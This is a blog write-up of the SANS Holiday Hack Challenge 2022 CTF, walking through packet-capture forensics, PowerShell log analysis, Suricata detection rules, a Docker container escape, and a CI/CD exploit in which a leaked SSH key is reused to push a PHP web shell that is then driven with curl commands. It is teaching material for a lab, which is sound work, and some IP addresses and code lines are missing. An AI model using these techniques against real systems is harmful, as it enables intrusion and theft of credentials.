Hacking Series Part 22

Challenge: Holiday Hack 2022. Part 1.

10 min readJan 9


I’ve just completed the SANS Holiday Hack Challenge for 2022, I thought it was a lot of fun this year! Here is my write up.

Challenge 1 of this CTF was simply obtaining your personal crypto wallet address and key, which is done as a part of the orientation.

Challenge 2 — Wireshark Practice

In this terminal challenge, a suspicious PCAP file is given that contains the answers to the following questions:

1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?

Navigating to File > Export Objects > HTTP presents the following screen.

The contents in the HTTP Object List can be exported by Wireshark. Answer: http

2. What is the file name of the largest file we can export?

Looking at the same screen above, the largest file that can be exported seems to be app.php with a size of 808 kB.
Answer: app.php

3. What packet number starts that app.php file?

Looking at the same screen, the packet number that starts app.php is 687. Answer: 687

4. What is the IP of the Apache server?

Looking at the traffic starting at packet 687, multiple IP addresses seem to be sending/receiving packets from, which is the Apache server.


5. What file is saved to the infected host?

Following the HTTP stream starting from packet 687 shows that a user infected the host by saving a file to the server using the saveAs() function. Searching for instances of the saveAs() function shows the following results and filename.

Answer: Ref_Sept24–2020.zip

6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to?

To find all TLS server Hello packets, use the following Wireshark filter: tls.handshake.type == 2 . This will show the following results. The only packets of interest are the ones that have certificates.

Looking inside the packets with certificates shows a property called “id-at-countryName” which is set to a country code. These are the countries that the bad certificates were registered to.

Going through all the certs, you will find four country codes: US, IL, IE, SS.

Answer: Ireland, Israel, South Sudan, United States

7. Is the host infected (Yes/No)?

Since an attacker was able to download an arbitrary file to the server, it is most likely infected.
Answer: Yes

Challenge 3 — Windows Event Logs

This was another terminal challenge with a few questions. An attack took place where a secret ingredient was supposedly stolen. In this challenge a PowerShell log file is given that has been flattened to a text file.

1. What month/day/year did the attack take place?

Using the command sort -n powershell.evtx.log reveals many logs that look like the following image.

A date that reoccurs a lot is 12/24/2022, which happens to be the date that the attack took place.

Answer: 12/24/2022

2. An attacker got a secret from a file. What was the original file’s name?

Looking through some of the logs with the previous date reveals a file named “Recipe” that had some processing done to it.

Answer: Recipe

3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.

By using the command cat powershell.evtx.log | grep “Recipe”
and going through the logs, you will find that the last PowerShell line that performed these actions is:

Answer: $foo = Get-Content .\Recipe| % {$_ -replace ‘honey’, ‘fish oil’} $foo | Add-Content -Path ‘recipe_updated.txt’

4. After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.

By using the command cat powershell.evtx.log | grep “foo” you can see the last full PowerShell line that did this.

Answer: $foo | Add-Content -Path ‘Recipe’

5. The attacker ran the previous command against a file multiple times. What is the name of this file?

Looking at the previous image, you can see that the previous command was run against a file named “Recipe.txt”.

Answer: Recipe.txt

6. Were any files deleted? (Yes/No)

With the explanation for question 8, we can tell that files were deleted.

Answer: Yes

7. Was the original file (from question 2) deleted? (Yes/No)

With the explanation for question 8, we can tell that the original “Recipe” file was not deleted.

Answer: No

8. What is the Event ID of the log that shows the actual command line used to delete the file?

Using the command cat powershell.evtx.log | grep -B 5 “Recipe.txt” we get the following results. This command searches for the string “Recipe.txt” and includes five lines prior to it in the results.

The Event ID of the “del” command is 4104.

Answer: 4104

9. Is the secret ingredient compromised (Yes/No)?

In the answer to question 3, the ingredient “honey” is replaced with “fish oil”.

Answer: Yes

10. What is the secret ingredient?

Since the ingredient “honey” was the only ingredient that was replaced or altered in anyway, it had the highest chance of being the secret ingredient.

Answer: Honey

Challenge 4 — Suricata Regatta

In this challenge, you had to develop some Suricata rules for the elves’ firewall with the following prompts and add them to the file “suricata.rules”.

Prompt 1

First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk. Whenever there’s a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.

My rule looked at any DNS queries with “adv.epostoday.uk” in it’s content.

Answer: alert ip any any -> any any (msg:”Known bad DNS lookup, possible Dridex infection”; dns.query; content:”adv.epostoday.uk”; nocase; sid:12345678;)

Prompt 2

In this PCAP, it points to Develop a Suricata rule that alerts whenever the infected IP address communicates with internal systems over HTTP. When there’s a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection.

My rule looks at any HTTP traffic that is sent from

Answer: alert http any <> any any (msg:”Investigate suspicious connections, possible Dridex infection”; sid:12345679;)

Prompt 3

We heard that some naughty actors are using TLS certificates with a specific CN. Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya. When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection.

My rule checks all traffic for “heardbellith.Icanwepeh.nagoya” in it’s SSL certificate content.

Answer: alert tcp any any -> any any (msg:”Investigate bad certificates, possible Dridex infection”; tls.cert_subject; content:”rdbellith.Icanwepeh.nagoya”; nocase; sid:12345777;)

Prompt 4

Let’s watch for one line from the JavaScript: let byteCharacters = atob.
Oh, and that string might be GZip compressed — I hope that’s OK!
Just in case they try this again, please alert on that HTTP data with message “Suspicious JavaScript function, possible Dridex infection”.

My rule checks all traffic for “let byteCharacters = atob” in its content. The “http_server_body” option checks GZip compressed content.

Answer: alert http any any -> any any (msg:”Suspicious JavaScript function, possible Dridex infection”; content:”let byteCharacters = atob”; http_server_body; sid:12345555;)

Challenge 5 — Clone with a Difference

In this challenge you had to clone a Github repository hosted at git@haugfactory.com:asnowball/aws_scripts.git, then enter in the last word in the “README.md” file.

Right away you notice that this link is in the format it would be in if you wanted to clone this repo through SSH, not HTTP. Since we have no private keys, we can’t clone this repo through SSH, so we need to change the format to one that we can clone over HTTP instead. The HTTP equivalent of the above link is http://haugfactory.com/asnowball/aws_scripts.git.

Running git clone http://haugfactory.com/asnowball/aws_scripts.git works and you can successfully clone the repo. Looking into the “README.md” file reveals that the last word in that file is “maintainers”.

Answer: maintainers

Challenge 6 — Prison Escape

In this challenge you needed to escape from a container running a Docker image, then enter the hex string that appears in the host file /home/jailer/.ssh/jail.key.priv.

I got some ideas and direction for this challenge from this site: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.

We first need a way to be able to see the host filesystem. We should first look at which drives we have access to using sudo fdisk -l.

There is a drive named “vda” that we can potentially mount to our system.

I created a directory that can be mounted to under /mnt/host using sudo mkdir -p /mnt/host. Then I mounted the drive above using the command sudo mount /dev/vda /mnt/host.

This worked, so I navigated to the jailer’s SSH directory using
cd /mnt/host/home/jailer/.ssh and looked at the “jail.key.priv” file using cat jail.key.priv.

Answer: 082bb339ec19de4935867

Challenge 7 — Jolly CICD

In this challenge you are given a link to a Github repository and need to exploit the CI/CD pipeline somehow. An elf hints that he has accidentally committed something to the repo that he didn’t mean to.

After cloning the repo with git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git, I ran git log to see the entire commit history. There was one log that looked out of place, the commit was titled “whoops” with the commit ID e19f653bde9ea3de6af21a587e41e7a909db1ca5.

Looking into this commit with the command git show e19f653bde9ea3de6af21a587e41e7a909db1ca5 reveals a private key that was accidentally committed to the repo.

Using this key, it is possible to clone the repo using SSH, and get higher privileges. First, the SSH equivalent of the HTTP repo link needs to be figured out. After rearranging some elements of the link, the SSH version turns out to be git@gitlab.flag.net.internal:/rings-of-powder/wordpress.flag.net.internal.git. Next, a copy of the above private key needs to be saved into our .ssh directory. The key looks like an OpenSSH ed25519 key, so the default path to save the key under is ~/.ssh/id_ed25519.

After saving the key to the file above, the command chmod 600 ~/.ssh/id_ed25519 will set the proper privileges needed to use the key without any warnings. After having the private key set up, we can clone the repo again using the SSH link git clone git@gitlab.flag.net.internal:/rings-of-powder/wordpress.flag.net.internal.git and change the email and name configurations to imitate the elf who committed before us using git config — global user.email “sporx@kringlecon.com and git config — global user.name “knee-oh”.

Now we can push to the repo! Since the server is running PHP, I pushed a simple PHP web shell that processes any command after the “cmd” parameter.

echo “<pre>”;
$cmd = ($_REQUEST[‘cmd’]);
echo “</pre>”;

After pushing the payload, I used curl http://wordpress.flag.net.internal/payload.php?cmd="cd+/+;+ls;+cat+flag.txt" to essentially preform these commands remotely: cd / ; ls ; cat flag.txt. I got this flag location after looking around the remote filesystem for a while. When I looked into “flag.txt” above, I got the string that was the answer to the objective.

Answer: oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT

Challenge 8 — Boria PCAP Mining

In this challenge, we needed to use artifacts (a PCAP and log file) from an elf to analyze an attack that happened on the Boria mines by answering the following prompts.

Most of the traffic to this site is nice, but one IP address is being naughty! Which is it?

Looking into the PCAP file statistics, there is one IP ( that has sent over 1028 kB while all the others haven’t sent nearly as much.


The first attack is a brute force login. What’s the first username tried?

In order to find the first username tried, we need to see all POST requests from the above IP and find the earliest username sent to the server. The filter that can do this in Wireshark is (ip.addr== && (http.request.method==”POST”). After following the HTTP stream from the first packet that comes up, you can see the first creds that were sent.

Answer: alice

The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack?

For this one, I used the previous filter first then ignored these packets by going to Edit -> Ignore All Displayed, since we need to only look at the GET requests from this IP. Then, I got all the packets that weren’t ignored, with a status code of 200, and from the IP in question with the filter (http.request_in) && (http.response.code==200) && (ip.addr== After going through a few HTTP streams, I found the one below.

Answer: /proc

The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

Since the attacker found the /proc URL after they tried brute forcing credentials, the filter (ip.addr== && (http.request.method==”POST”) can be used again, but you should only look for the forced URL in the bottom few packets, after the credential brute forcing stops. I found the link in the XML of one of the few packets sent to the /proc URL.